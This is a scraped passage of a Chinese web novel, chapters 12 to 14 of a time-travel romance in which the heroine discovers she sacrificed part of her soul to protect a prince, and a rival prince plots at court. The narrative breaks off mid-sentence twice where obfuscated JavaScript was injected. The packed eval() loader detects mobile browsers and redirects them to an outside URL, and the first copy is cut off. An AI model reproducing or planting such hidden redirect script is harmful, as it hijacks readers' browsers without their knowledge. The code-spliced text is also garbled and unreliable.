温子瑜若再聪明一些,便该清楚如何叮嘱寺中人莫要多生事端。 长安的冬日清晨天色渐明,雨天寺中云雾缭绕,四周溅起的水珠纷纷落在石英道上,晕开几片细小湿痕。 松烟与檀香的气息混融揉杂在一起,与寺中这棵参天古树冥冥之中似乎相得益彰,住持朝她遥遥施了一礼,腕间的佛珠随动作相撞发出清脆的声响。 对不相熟的人,温嘉懿一贯秉承着说多错多的理念,简单客套完便想寻个由头脱身,只听他又重复低声道:“温少主,好久不见。” 积水顺着伞沿淌成细流,温嘉懿掀起眼皮望向他,握住伞柄的手却微顿,她眼中飞快掠过一抹警惕之色,缓缓提步走进廊下,不紧不慢地将沾了雨水的伞收起。 在成为时空管理局的首席执行官之前,温嘉懿曾受过很多年的残酷训练,忍过常人不能忍的苦痛。 那些突破生理极限的非人项目以痛彻骨髓的方式融进她的记忆,将她千锤百炼,所以她的每一项感官都机警敏锐到极致。 只消一个眼神或一个未完成的动作,便能轻而易举听出住持话中别有深意。 三个月前,原主被温缚修指派入裴府打探消息,那时这具身体的主人还是039,难道他们之前达成过什么约定,才让他有此一言? 思量片刻,温嘉懿决定见机行事:“住持这话不知从何说起?我们何来好久不见?” 她一双杏眸中的笑意未达眼底,神色却依旧从容不迫道:“嘉懿深夜被贼人掳走后,再醒来时发现自己身处一陌生之地,据那里的掌事说,好像是天音楼的地下赌场。” “幸亏兄长发现及时,带人救我于水深火热之中,这才得以侥幸脱困,现在仔细想来还是令人后怕。莫非住持还不知晓此事?” 说罢温嘉懿往后一靠,一向上挑的眉眼微微低垂,她故作可怜地叹了口气,言语间却隐含一丝不易察觉的威胁:“这也难怪,想是住持操持寺中之事日理万机,将我与旁人记混了吧。” 话音落下,住持淡淡抬眼,看向她的眸光沉静平和,双手合十,慢声道:“老衲怎会记混?少主三魂七魄,乃异世之人。” “……” “……” “……” 树欲静而风不止,一阵诡异而安静的沉默后,温嘉懿唇边无懈可击的笑容骤然顿住,面上从容淡定的神情变了又变,一瞬间比路边小摊的戏法还绝妙,堪称精彩至极。 她原本姿态懒散地倚在柱子边上,以略带审视的目光打量眼前这位僧人,直至听到这句话,终于气极反笑道:“我没听错吧?您是认真的?” 温嘉懿无言了半晌,有些自我怀疑地低下头,再次开口时的语气中甚至带了几分无可奈何:“我是不是来错地方了?这身份是很烂大街吗?怎么好像人人都能看出来我并非此地之人。” “这样我真的很没面子,不如我收拾收拾回家睡觉吧?” 费尽心思撒的谎被人轻松戳破,实在显得她刚刚那些九曲回肠的心思十分跳梁小丑。 “……” 住持见她没好气地控诉,很有眼色地并未出声。 温嘉懿又长长叹出一口气。 如果倒霉是种天赋,那她大概天赋异禀。 大梁这地方真有点说法。 先按下不提超高的任务难度系数和管理局出现卧底的污糟事,她千里迢迢穿来后见到的第一个人就毫不留情地识破了她的身份。 这也算了,她什么大风大浪没见过?什么紧急情况没处理过?只是没想到一直哑巴连朝代背景都无法补充的任务系统突然抽风,莫名其妙天神下凡给她颁布了一条从未有过的攻略线。 这没关系,攻略一个男人而已,又无需冲锋陷阵流血拼命,身为人类首席执行官,能者多劳,实在不行将攻略对象一了百了杀了也可以。 结果开局那位不近人情的攻略对象好感度就高达负五百之高分,对峙一番后更是令人捉摸不透,不仅对她的态度转变比唱戏还快,还顺势拿捏两人痛感互通的弱点要挟她合作。 “……” 复盘一遍后发现,这些事可怕得很啊。 虽然双方合作实际上是互惠互利,但对向来杀人不眨眼的首席执行官来说,确实足够丢面子。 住持面上情绪不显,他未曾直截了当地回答她的问题,而是缓步走近,正色道:“温少主可知,你有一魄缺失。” 那些不正经的念头霎时间灰飞烟灭,温嘉懿闻言神色倏然一怔,直起身反问道:“一魄缺失?” “正是。” 她立刻放低姿态端正态度:“方才是我冒犯,还望住持莫怪。请住持明示。” 住持见状微微弯腰施礼,温声道:“温少主自小便教养于我相宁寺内,其间诸事,并非一日之功。今日之前,老衲所见的少主只有一魄残魂,而今日再与少主相见,少主已七魂归身,却独独缺了一魄。” 温嘉懿秀丽的眉头几不可见蹙起,她没有关心在乎现在自己缺失一魄有没有危险,而是道:“住持的意思是……从前这具身体内,只有一缕魂魄?” 住持颔首,语调放轻:“魂魄残缺者,多数怨念深重,亦或罪孽滔天。若实在要说,还有一种可能,那便是将生命献祭于人。” 事实上,无论在任何时候,温嘉懿都是坚定的唯物主义者,过往几千年来,不管前往哪里执行任务,她都从未信过鬼神之谈。 因为面对未知的恐惧是人的本能,但温嘉懿看上去却总是一副不显山露水的模样,让人难以窥探她真实的想法。 住持道:“献祭一般分为两种,主动,被迫。” “主动献祭,通俗而言,便是借命,将自己的生命献给他人。” “被迫献祭,便是换命,意为将自己平安顺遂的命格被迫换给他人。” 檐角垂落的雨丝疏密难分,在半空中织成一片透明遮天的雨幕,她攥着青色衣袖的指尖微微一滞,旋即松开:“所以我这具身体缺少一魄,是有可能被人换过命或者借过命?那这二者的条件有什么不同吗?” 住持耐心向她解释道:“自然不同。譬如换命,不仅需要两人的生辰八字相匹配,还需一些十分苛刻的外在条件,距离、姻缘、生死状态……若这些前提条件统统满足,即可请高人来施法布阵,为其逆天改命,修改命格。” “借命更是如此,若是主动献祭借出,有些时候,甚至不必征求被借者的意愿,便能自然为其延续寿命。” 住持没有回答她第一个问题,但她心下已经有了清晰的答案。 以她出类拔萃的个人能力,若打定主意真的不想做一件事,谁也无法逼迫。 所以只剩一种可能,是当时的她主动进行献祭。 温嘉懿忽然想起一件被自己遗忘的事。 早在她伸手触碰红菱和贺研秋的来往信件之时,温嘉懿就可以确定,她曾经多次来往过这个世界执行任务,而碍于时间久远,无法每一件都留有印象。 后来她趁乱在小道劫杀温子瑜,威胁他帮自己进入地下赌场,纵使两人是亲生兄妹,原身和她兄长的关系也并不好。 从头到尾,她都没有刻意伪装成一个心软善良的人设,因为温嘉懿本来也不清楚原主是何种性格,不利于她逢场做戏。 但即便如此,在两人交谈间,温子瑜还是没有第一时间怀疑她的身份,似乎温瑾这个人在他记忆中就是一位蛮横的天之骄女,狂妄自大不守规矩,随随便便拿剑指在他脖子上也不会有人置喙半分。 直到她状似无意地说出,郁国公之子郁霖当年科考舞弊之事。 那一刻温子瑜大惊失色,仿佛下死刑宣判一般的笃定她不是温瑾本人。 这件事或许知情的人不多,但温家世代从文,温缚修这一脉仕途通天官至太师,她作为内定的下一任少主,知道难道很奇怪吗? 温嘉懿从前理所当然的认为,像郁霖这样碌碌无为的蠢货,中举登科一定是买通主考官换了考卷,然后以世家权贵的势力压迫贺研秋就范,后者被他设计陷害,最终死于非命。 如果这个假设成立,那应该怎么解释,为什么067整整杀了郁霖十三次都没得到任务成功的提示? 郁霖的命,真的是他自己的命吗? “……” 万千思绪回转,像是有什么重要关窍被骤然打通,使她一瞬间豁然开朗。 温嘉懿眼神一凛,毫不避讳开口道:“这样一来岂不是没了基本的时代秩序?世家子弟乃至皇室中人的权势手眼通天,倘若成事,往后想为谁修改命格就动用这些非凡手段以权谋私,那平民百姓将永无出头之日。” 住持却道:“也并非如此。天道无常,缘法自然。在这世上,能达到换命条件的两个人并不多,不过万里挑一而已,但也正因万里挑一,所以哪怕一位是天煞孤星,一位是真龙天子,若强制要换,也是使得的。” 闻言,她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一道钟声惊起飞鸟,猝不及防与心跳频率共振,廊下的淅沥雨声渐小,下过雨后的山间气息格外湿润粘腻,一股清新的泥土味扑面而来,目之所及处,大片热烈耀眼的红色丝带如燃烧的烈火般倒映在她眸中,将她簇拥包围。 温嘉懿将未尽之语悉数咽下,唇边染上几点真切的笑意,故作轻松地玩笑道:“其实也说不准,住持不是说献祭有两种可能吗?若我这具身体没有被强制换命,那便是我主动借命了。” 她像是想到什么,转而悠悠道:“不过我这个人,并非什么良善之辈,若做了,那必然要求与之相等价的回报。” 话音落地,相宁寺的寺门被再次推开,温嘉懿闻声看向来人,清透的眸光中难掩诧异之色。 凛冽北风卷起他素白的衣摆,吹动他以银簪高高束起的发尾,也吹起他额前散落的几缕柔软碎发。 裴璟戴着银色面具,一手撑伞,面具下的神情温柔和缓,远远望去颇有几分少年意气。 温嘉懿下意识道:“世子殿下?你怎么在这?” 回过神来后,她自觉这话问得突兀,对方没问她怎么在这,自己倒先发制人了。 裴璟微微点头,朝住持施了一礼,模样熟稔,似乎也和住持认识,他眸光温和宁静地看着她,神色认真地轻声答道:“大梁上元节的习俗,需要放花灯,挂红绸。” “夜雨连绵,我担心红绸被雨水打落,特意来检查。” 接下来是无休止的静默,这一次,他朝她走得很慢,没有拄拐杖,也没有伪装,不知是认为在她面前无需掩饰,还是佛寺中人不会无故多言。 不知为何,温嘉懿垂下眼,莫名觉得裴璟此时此刻的姿态十分放松,举手投足间自然流露出一点他这个年纪该有的意气风发,是相识这十几日以来,最惬意、最舒服的时刻。 风穿过回廊,将温嘉懿狐裘领间的白狐毛吹得蓬松轻扬,她再度望向他的瞬间,裴璟与她错开视线,抬头望向这棵古树。 最高处那根向外分叉的枝条上,两条随风飘起的红丝带牢牢地系在一起。 于是温嘉懿随着他的视线看过去,那抹刻在心里热烈张扬的红刹那间重现于世。 她没有问他明明只有一个人,为什么会系两条红丝带,就如同上元佳节的夜晚,浮在湖面上顺水飘远的花灯万千,她也没有问那盏莲花花灯中他提笔写下的愿望到底是什么。 她不喜欢问问题,只是缓缓摘下玉环,面无表情地将袖中的针不动声色刺进掌心。 温嘉懿转身,两人背对着,几滴殷红的血珠冒出,玉环上的缺痕在她指节处留下一片零星红痕。 她的目光极轻极缓地投向最远处,掠过山上的阁楼,寺中老旧的古钟,甚至是中央参天的古树,一路辗转、发散。 最终缓缓回头落在裴璟耳垂间,那枚浑然天成的冰凉玉珠上。 掌中放置的玉环隐有灼烧滚烫之感,而他一无所觉地站在原地。 原来如此。 住持注视着这一切,静静站在她身侧,未置一词,温嘉懿忽然低声笑起来,她抬手不着痕迹抹去伤口上的血迹,待指腹痛感稍缓,再次慢条斯理地戴上那枚带有缺痕的玉环。 她没有撑伞,一步一步向裴璟走去。 这场裹挟着凛冽寒风的大雨在此刻忽然停歇,系统的提示音在脑海中应景响起。 【攻略对象:裴璟】 【当前好感度:-300】 13.第十三章 随着系统话音散去,沉稳有力的脚步声渐近。 清晨时分,相宁寺内松烟袅袅升起,这棵最中央的参天古树不动如山,枝条上刺眼鲜明的红十分热烈惹眼,让她仿佛置身于一片灿烂盛大的红色梅海中。 距离不断缩短,温嘉懿目不转睛地盯着远处长身玉立的白衣少年,背在身后的左手拇指轻轻婆娑着那枚带有缺痕的玉环。 指腹残留的刺痛感一点点晕散化开,她终于能够确定,这具身体残缺的那一缕魂魄,就在裴璟身上。 这个细小的缺痕,原就出自她本人之手。 是温嘉懿亲手割开了代表首席执行官最高任务执行权限的玉环,从中取下一颗玉珠,以献祭借命的方式分走属于自己的一缕魂魄,将玉珠系在了他的身上。 所以一切的一切都有迹可循,只要当她戴着这枚玉环时,无论用什么方式都伤不了裴璟分毫,所有致死的杀招对他都不起效果,甚至会毫不留情的反噬自身,造成她一开始以为的痛感互通。 自从来到大梁后,温嘉懿失去了金手指的帮助,也失去了任务系统对时空执行者的保驾护航,故而丢失的记忆太多,暂时无法回忆起当初她究竟是出于什么目的护他平安。 这件事严重超出她的想象,如果有人向她透露,未来她会主动献祭自己的一缕魂魄去护佑另一个陌生时代的人平安顺遂,首席执行官大概会觉得说这话的人疯得不轻。 身旁的住持不知何时已经悄然离开,交谈的话音却仍停留在温嘉懿耳边萦绕盘旋。 “难道世上真的有人愿意将自己的寿命借出去,只为换得他人平安顺遂喜乐安康?上至父母亲长,下至夫妻子女,这种无私的献祭太过悲壮,恕我无法想象。” “天机不可泄露。若有朝一日,少主也遇到一位无法割舍的人,或是受人之托,忠人之事。便会理解他们的所作所为。” “……” 裴璟曾经是她很重要的、无法割舍的、哪怕献祭魂魄也要去保护的人吗? 她不记得了。 温嘉懿微微敛眸,遮住纷乱心绪,她站在不断燃烧的梅海中央,就这样缓慢坚定地朝裴璟走去。 四目相对,一阵风从两人间穿梭而过,她在他缓缓面前站定,朝他自然伸出手,指尖几乎要触碰到他垂在身侧的手腕。 油纸伞面下,裴璟长而卷的眼睫轻颤着垂落,蝶翼似的光影在眼下一晃而过,收腰窄袖的衣装勾勒出他劲瘦流利的线条,随即第一时间将伞撑在她头顶。 他望向她的眼神干净清澈,眸中似有不解之意,连同呼吸也不自觉地放轻了几分。 温嘉懿见状顺势接过他手中的伞,温热的指尖与他冰凉的手腕相碰,如蜻蜓点水般一触即离,接着忍俊不禁地调侃道:“殿下,雨停了,你不用为我撑伞。” 她从容不迫地将伞收起,那点残存的余温没有滞留在裴璟的腕间,却栖息在他泛红的脸侧,向上牵引出暧昧的红痕,让他略显得有些狼狈。 裴璟神色怔怔地:“抱歉,我……” 温嘉懿打断了他未说出口的话,看向他的目光如炬,开诚布公道:“我们之前,是不是曾经在哪里见过?” “当日你所谓的初见,其实不是我们初次见面吧,殿下。” “……” 她的话直白,尾音低沉微哑,像是情人间最暧昧旖旎的低喃,散在那阵风里,温嘉懿敏锐察觉到裴璟像是忽然意识到什么事情,那点因装束变换打扮出的少年意气无声收起,变回那个带着一点冷漠疏离却又不失温和的世子殿下。 “没有。”他出声时的语调微涩:“那就是我们第一次见面。” “初次见面,你就能如此信任我?万一我真的是刺客,你又该怎么办?” “是。你不会是刺客。” “如果呢?” “没有如果。我相信你。” 这次裴璟回答得很快,很坚定,相信你这三个字,他说起来甚至有些得心应手。 第六感告诉温嘉懿,他又在因为一些不想承认的事撒谎,在她说出第一句话时,他的瞳孔刹那间极快地向后骤缩了一下,近乎难掩眸底翻涌的震惊之色,尽管片刻便恢复如常,却还是不慎被她捕捉到。 温嘉懿淡淡收回视线,说不清是失望还是别的,继续道:“很感谢你的信任,虽然听上去有些廉价。你目前不想对我说实话,有自己的难言之隐和考量,这些我会尽量理解。但是殿下,我们是平等的合作关系,如果你一直对我藏着掖着,是否也太没有合作诚意了?” “从前我认为,你我之间萍水相逢,是因为意外的痛觉共感才不得不牵扯到一起,而那时我恰好有更重要的事要去做,所以没有义务问这些问题。但今天我知道了一些事,我想我需要了解,也有必要了解你的过往。” “裴璟,你不能述之于口的秘密,是好是坏的一切,都可以毫无保留的向我开放,我会接纳,会包容。” “你让我相信你,同样的,你也可以尝试相信我。” 话音落下,这一刻,时光仿佛在她的言语间被悠然拉长到永恒,拉长到迢迢春水平芜尽处,拉长到没有人能寻找到的花坛之下,年幼的他可以和师父无所顾忌地浪迹海角天涯,也可以藏匿于隐秘无人的世界尽头。 女子模糊不清的身影在他记忆里重叠、凝聚、缓缓拼凑成眼前人的模样,又在其中某些瞬间不留情面地碎裂开来,化作一阵难以触碰的绚烂星风,与他无数次擦肩而过。 夕阳西下,暮色苍茫,她的神情依旧那样漫不经心,牵着他的手往前走道:“怀瑾,不要被仇恨捆绑,不要被命运找到。” 于是裴璟听从她的话,凭栏远眺,望见群鸟惊飞处,长风疏朗,辽阔天地间有一片青翠盎然的春山。 “……” 裴璟站在原地沉默了许久,久到温嘉懿以为他不会再开口,他才打破寂静,破天荒地叫了她的小字:“嘉懿,抱歉。请你相信,无论其他人怎样,在这里,或者说在这个时代,我永远不会伤害你,永远不会对你不利。” 听到这个称呼,温嘉懿稍稍一愣,他是第一次这么叫她,她却总觉得有种说不上来的怪异荒诞感,但要硬说有什么不妥之处,总归也只是一个行动代号罢了,没什么好纠结的。 这番话间接表明了裴璟的态度,既然他不想多言,她只好低头叹了口气,认栽道:“殿下,你把我想的太没用了,在这个时代,只要你顾好自己不受伤,又有谁能伤得了我?” “就算你顾不好自己,我也能顾好你。” 即便裴璟多有隐瞒,身上疑影重重,但曾经的温嘉懿选择了以命相护,现在的温嘉懿就会负责任地为她买单。 那枚浑然天成的玉珠随风轻晃,底端系着的那段鲜亮红绳与之交相辉映,裴璟垂放在身侧的指尖悄无声息攥紧衣料,他喉结微滚,却欲言又止。 两人收敛神色,默契地一齐转身,并肩走回廊下。 温嘉懿侧目看着他道:“殿下,你无需有任何负担,那些事说与不说是你的自由,我只会提醒你,却不会强迫你。至于跟我相处,我们从前是什么样,现在就还是什么样,我有很多事要做,不希望花更多时间来和你客套。” 她细细思考片刻,觉得应该让自己逐渐适应这个称呼,又笑着对他道:“我觉得嘉懿这个名字很好听,以后就叫这个吧。” “好。” 裴璟依言应声,始终默不作声地站在回廊外侧,为她尽数挡去吹来的寒风,接着主动从怀中递给她一个和他同样款式的银色面具。 温嘉懿垂眸盯了它一会,笑了笑,接过戴上。 她系好绳子,坐在廊下的石凳上,抬头望向最中央的那棵参天古树:“我刚才就想问你了,这棵树有什么说法吗?如果按照你们这的习俗来讲,挂红绸许愿,那为什么只有这一棵上面系了红丝带,难道别的树都不灵?还是说你也信菩萨佛祖的庇佑,所以来求个心安。” “其实没有别的说法,我不信这些。”裴璟的目光落在她的肩上,浅淡清透,却又仿佛灼热滚烫,像要洞穿她这副皮囊下的灵魂,他掩饰下这一切,轻声道:“只是有时候,需要这些看似虚无缥缈的东西来寄托无处安放的情感。” “嗯?什么情感?” “一些很糟糕、很荒谬,很……”他的话音顿了顿,艰难道:“大逆不道的情感。” 闻言,温嘉懿挑眉道:“这个词从殿下嘴里说出来倒是有点新鲜,你当真不知道我来这儿了了?我想听的是实话。” 裴璟没有直言,而是岔开话题道:“今晨我收到消息,天音楼的地下赌场已经被大理寺的人查封,此案兹事体大,涉案之人众多,且其中不乏权贵子弟,至多不过两日,便会交由刑部和大理寺一同审理。” 温嘉懿撑着下巴:“我知道。” 裴璟看着她继续道:“昨夜,有人拿着你的令牌,以你的身份回了温家,不久后,又被温家的人送回相宁寺,我……” 这话一落地,他就知道自己终究还是暴露了。 实际上,温嘉懿也没给他留面子,微笑着拆穿道:“温家那边的事都在我的计划中,你不必担心会出什么问题。所以殿下根本不是来看红绸有没有掉下来的,是特意来找我的,对吧。” 他认命似的盯住她的眼眸,颇有些破罐子破摔的意味,过了许久,终于问出一开始见面时就想说的话:“你为什么,不回温家。” “我为什么要回温家?我要做的事,不方便我回去。” 她淡声反问道:“昨晚你来湖边找我,跟我说那些,就是怕我离开后不再回来? “殿下,你到底在担心什么?或者在害怕些什么?” “来相宁寺是因为我和一个朋友有约,所以在这里等她,不然这个时间,我早就应该回府里休息了。”温嘉懿慢条斯理地站起身往前走,抬手拢了拢狐裘,这件斗篷的边缘和领口都缝着一圈狐狸毛,让人觉得温暖舒适:“不过现在看来应该是等不到了,她那边的事情没处理完,只能等我去找她。” “……” 她竟然在认真地向他解释她的行迹。 以温嘉懿的身份和能力,她明明可以来去自如,想做什么就做什么,完全没必要和他说这些废话,但她知道他敏感多疑,总会多思多想,所以干脆一股脑地和盘托出。 意识到这一点,裴璟眼底深不可见的沉郁骤然散去,清透的眸中霎时间亮了几分,那些被他摒弃抛开的少年意气一瞬间又重新回到他的身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16477288|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 风华正茂,相得益彰。 他不自觉地追随温嘉懿向前走,连脚步都轻快起来。 然而下一秒,裴璟似乎想起什么,话音微不可查地一顿:“一个朋友?” 温嘉懿懒散地应声:“嗯。在天音楼认识的,一见如故,十分投契。” 她笑着刻意拉长了语调:“哦——就如同你我一般有缘。” “而且,她弹琴很好听,琴技堪称京中一绝,我听过一次便流连忘返。” 回廊下,裴璟忽然安静下来,没再把话继续说下去。 温嘉懿唇角噙着笑意,脚步未停,扭头看他,循循善诱道:“殿下,你想说什么?” “忘记告诉你,如果想和我继续保持合作关系,我有一个要求。” “不管过去如何,从今天起,你要对我有话直说。” 一秒、两秒、三秒。 他鼓起勇气道:“我弹琴,也很好听。” “……” “……” 说完,裴璟径直往前走去,下落的视线和她匆匆相碰,又触电似的分离。 温嘉懿逐渐落在后面,终于没忍住笑出声来。 * “咚——” 一声巨响,朱漆府门被人猛地撞开,来者腰间别着酒壶,脚步虚浮,眼尾含了一抹诡异的潮红,如往常般从花楼纵情声色回来,口中还在不停胡言乱语咒骂着什么人。 一旁的侍卫青枫似乎对这副场面早已司空见惯,他的神色平静,余光瞥向廊下值守的仆役,一言未发。 仆役惊恐未定地喘着粗气,慌忙垂首磕头请罪:“奴才该死。” “滚。” 青枫收回视线,扶着郁霖跌跌撞撞进了里屋。 门被他掩上,郁霖迷蒙游离的眼神瞬间恢复清明。 他解开披风,目光看向屋中等候已久的男子,毫不犹豫屈膝下跪,似乎想说些什么以求宽恕,开口时却像被扼住了喉咙一般,身体颤抖得不成样子。 青枫紧随其后自觉跪下,男子背对着郁霖坐在桌案前,他的姿态从容,十分不紧不慢地倒了一杯茶。 “回来了?” 说完,男子缓缓抬手将兜帽摘下。 秦砚景掀起眼皮,面带几分笑意地看着郁霖,紧接着毫不留情地将那杯茶尽数泼在他脸上。 平心而论,秦砚景的长相算得上英气那一挂,上挑的唇角微微勾起,挂着一丝若有若无的笑,但他的眼角眉梢在垂落间总喜欢流露出算计和阴恻的感觉,冲淡了那抹英气,反而裹上一层笑面虎的外袍。 几滴滚烫的茶水顺着他的脸侧淌下,郁霖被激得浑身战栗,再度深深磕头:“殿下……请殿下恕罪。” 秦砚景骨节分明的手指把玩着那盏空了的茶杯,笑了一声反问道:“让我恕罪?你的罪在哪?” “你以为秦明月如你一样蠢?都像你一样半个脑子长在别人脖子上?” 郁霖闭上眼恨声道:“是我一时疏忽,我实在不曾料到,七公主她能如此不在意女子名节,独自前往地下赌场。” “名声?” “郁霖,人越缺什么,越会觉得旁人都在意什么。” 那声音入耳的刹那,郁霖脸上的血色瞬间褪得一干二净,只剩下一片触目惊心的惨白。 秦砚景抬眼看向他道:“秦莞和她是天生的死对头,她看不起秦明月的出身,看不上她的柔软可欺的性格,更厌恶她学什么都一点即透。所以从出生起,秦莞就没有一刻不在针对她,但即便这样,如今秦明月出了这种事,她也三缄其口,不会拿名声来奚落她。” “我这几个不成器的妹妹里,只有她秦明月,心思最重,城府最深。”秦砚景缓缓收敛笑容,盯着他的眸光锐利,闪过一抹凛冽森然的杀意:“你当地下赌场是什么阿猫阿狗都能进去的?我手下的暗卫还认不清她的脸?怎么合宫夜宴那晚人人相安无事,只有她被抓了进去。” 一个从未想过的念头在他心中划过,郁霖惶然抬头:“殿下的意思是,七公主是故意为之。” 怪不得他屈尊降贵向温子瑜示好,寄出的那封密函为何那么久都没有收到回信,最后收到的消息居然是他妹妹温瑾被抓入地下赌场。 原来,她们早就计划好了,只是一直在耍他玩! 上元节那天,这几位出身京中世家的少女早就一意孤行地,用不惜自毁名节的方式告诉了所有人。 牵连无数权贵利益、扎根几十年的地下赌场她们不仅要毁,储位之争她们也要站边,还会一力保秦书顺利继位。 秦砚景见他总算回过味来,眼底掠过一丝讥诮,心下不禁冷笑:“郁大人,你明白的可真够早的。” 他站起身,目光平静得像一潭深不见底的寒水,瞧不出半分波澜。 “秦明月是秦书手中最锋利的一柄剑,剑锋所指,若他向东,她绝不会往西。她粉身碎骨,也要为秦书开辟出一片属于他的天地。” “就算秦书立时三刻要她去死,她都会把剑擦干净了亲自递到他手里,道一句这是我的荣幸。” “无论谁在背后支持秦书,给予他怎样的助力,都不足为惧,但若不将秦明月除去,必然养虎为患,酿成大祸。" 14.第十四章 郁霖被秦砚景扶起,半边身子早麻得没了知觉,不敢再言其他,只能低头称是。 秦砚景转身慢悠悠坐下,目光扫过他欲言又止的模样,忽然低笑一声:“我知道你想说什么,你想问这两人并非一母所出,为何感情如此深厚。” 郁霖长舒一口气,连忙躬身道:“殿下睿智。” 雕花窗棂外,一束清透的光斜射进来,浮着细小的尘埃照在桌案上,映出几点细碎斑驳的光。 青枫察言观色地替秦砚景重新倒了一盏热茶,接着悄无声息退下。 正月的红梅在一片风雪中开得正盛,嫣红花瓣随风飘落,秦砚景垂落的目光缓缓从窗外收回,落在这张桌案上,思绪被拉到很远。 印象中,那是一个寒风刺骨的冬日。 宫苑的墙角旁堆了不少积雪,脏污的冰碴混着泥土,远处匍匐在地上的少年身形几近消瘦,骨节突出,衣不蔽体。 秦砚景与其他皇子不同,他是当朝皇后谢宁唯一的儿子,名震四海的皖鸿将军是他的亲舅舅,背靠谢家长大,身份金尊玉贵,尽管从小教养于坤宁宫中,但出生起便拥有自己的府邸。 那日他随舅舅一同进宫朝贺受礼,后来舅舅被郁国公叫走议事,让他在八角亭外稍候片刻。 也就是那时,他偶然间撞到几位朝中大臣的孩子有恃无恐地骑在秦书身上,他们嬉笑玩闹着,脚踩在秦书单薄的脊背上来回碾动,用折扇拍打他的后脑催促,姿态得意轻蔑,像在骑一头不会说话的家养牲畜。 “……” “……” 秦砚景见状无声蹙眉,他停住脚步,目光微抬,看到秦书浑身上下伤痕累累,有的已经结痂,有的还在溃烂流脓。 那些出身权贵世家的纨绔子弟却好似浑然未觉般不停挥舞着皮鞭,一手用力揪住秦书的头发,时不时吐出一些难听的污言秽语。 “往前走啊!你长眼睛是干什么用的?瞎了还是两条腿残了?” “残了也是我们养的狗,狗只有听话才会得到主人的赏赐,这就是你的命。” “哈哈哈哈哈……这就是命啊!不争气的东西!我让你爬快点,你没听见吗?” “欸!你骑好了没?我也要骑!” 世上悄无声息折磨人却不致死的方法有千万种。 这些方法蚕食少年人的心气,也消磨人的意志,像钝刀慢割,而秦砚景只是恰好撞见了这一回,在他看不见的地方,还会有成千上万次数不清的欺辱谩骂。 秦砚景锐利的眸光渐冷,他明白这些人卑鄙恶劣的丑陋心理,因为玩弄男宠歌姬虽乐在其中,滋味却远不及打压有身份地位的人。 冷眼看着他一朝失势屈居人下,为活下去拼命磕头请罪,才能体会到无与伦比的快感。 皇帝的儿子,也不过如此。 幼时,秦砚景对秦书这个弟弟的印象并不深,两人身份地位如云泥之别,他没有见过他几面。 寒冬风雪交加,秦书因体力不支直直摔倒在地,磕出一摊刺眼的鲜红血迹,鬓边散乱的发丝如瀑,挡住了他目之所及的全部视线。 伴随着一阵阵震耳欲聋的咒骂怨怼声,他拼命喘着粗气,继续一步步往前爬,冻得通红的膝盖重重磕在水泥地上,连眉头都未曾皱一下。 含元殿内百家同欢,君臣共乐,筵席上欢声笑语贯耳不绝。 十几名身着粉红纱裙的舞姬在中央翩翩起舞,宽大的水袖翻飞,手中折扇收握合拢,挂在脚腕上的银铃声清脆。 与此同时,殿外漫天飞雪,裹挟着寒风织成一张无边无际的白网,将整个充满欢声笑语的宫苑都笼罩其中,只剩下模糊不清的轮廓。 纷纷扬扬的雪沫子扑在含元殿朱红的殿门上,发出呜呜的轻响,反而衬得殿内的暖意与乐声更加喧闹。 这偌大的皇宫如一座深埋地底的坟墓,埋在土内的棺材里外是两个截然不同的世界。 万家灯火的喧嚣与无边无际的寂静,好像只在座上人的一念之间。 秦砚景撑伞站在雪中,毫不留情地转身离去。 这么多年,他一直都很清楚的明白一个道理。 他不是好人,资质平庸,也不够聪慧,充其量就是命好而已。 权势盘根错节的谢家是母后为他带来的助力,包括他接手经营的地下赌场,私下贩卖人口,戕害平民,但为官者在宦海沉浮,官官相护,其中涉及到京中各大世家的利害关系,大家默默受贿徇私,相互包庇,所以没有人会站出来说一句秩序不公。 世道阶层分明,他用权制驭别人,别人凌辱秦书,好像是一条默认的规则,成王败寇。 ……不,好像一开始不是这样。 秦砚景忽然没来由地在心中反驳自己。 或许曾有人不自量力地负隅顽抗过。 那件事早在他出生很久很久之前,秦砚景记得,那是大梁开国之初,太常寺第一位走马上任的女官,姓林,年轻耀眼,才华斐然,总喜欢穿一身嫣红色官服,是一心为国为民的纯臣。 她站在高处说你们不能打着为官者的名义做这种事,不能鱼肉百姓,不能徇私枉法,要天下计不为征利,要兴利除弊,要勤政为民。 她身为那年的新科状元,策论写得一骑绝尘可堪大用,金榜题名好不风光。 但那又如何? 仅因女子之身,她就已经被那些高高在上的男考官批判淘汰,不过是依着男女平等性别无差的大梁律法,最终不情不愿将她封了一个平平无奇的太常寺卿。 那时秦砚景还没有接手地下赌场,他年纪尚小,还不知道林婧若死在揭发地下赌场的阴暗交易一事中,只当她是为民请命而死,也未曾料到自己将来也会走上一条不归路。 那时,他对世间万物还抱有一点残忍的天真。 有一日太傅在府中为他讲述为官之道,秦砚景认真听后开口问道:“老师,请恕子渊愚钝。那位大人这样做,不对吗?若错,那应该怎么做?若对,她的结局又是什么?” 太傅闻言长叹了一口气,动作一顿,目光复杂地看向他,不知是在感叹什么:“她做得对,但也错。因为这世上从不缺不慕名利的纯臣,更不缺以天下苍生为己任的有志之士。她做得错,但也对。民为国之根本,贪官污吏猖獗,搜刮民脂民膏,我朝律法不严,需要有人为民请命。” “子渊。你要记得,为官,为君,是两条截然不同的路。” “为官者,若想为官,势必见罪于君。” 这听上去似乎是个病句,秦砚景并未往下深想,而是追问道:“那为君呢?” “……” 太傅没有回答他听起来有些大逆不道的问题,也没有告诉他林婧若最后的结局,但他最后从别人口中知道了答案。 景康三年,这位姓林的女官和那时的当权者作对,于是她应得的后果如期而至。 暴毙而亡,下场凄惨。 从此姓名销声匿迹,无人再提。 “……” “……” 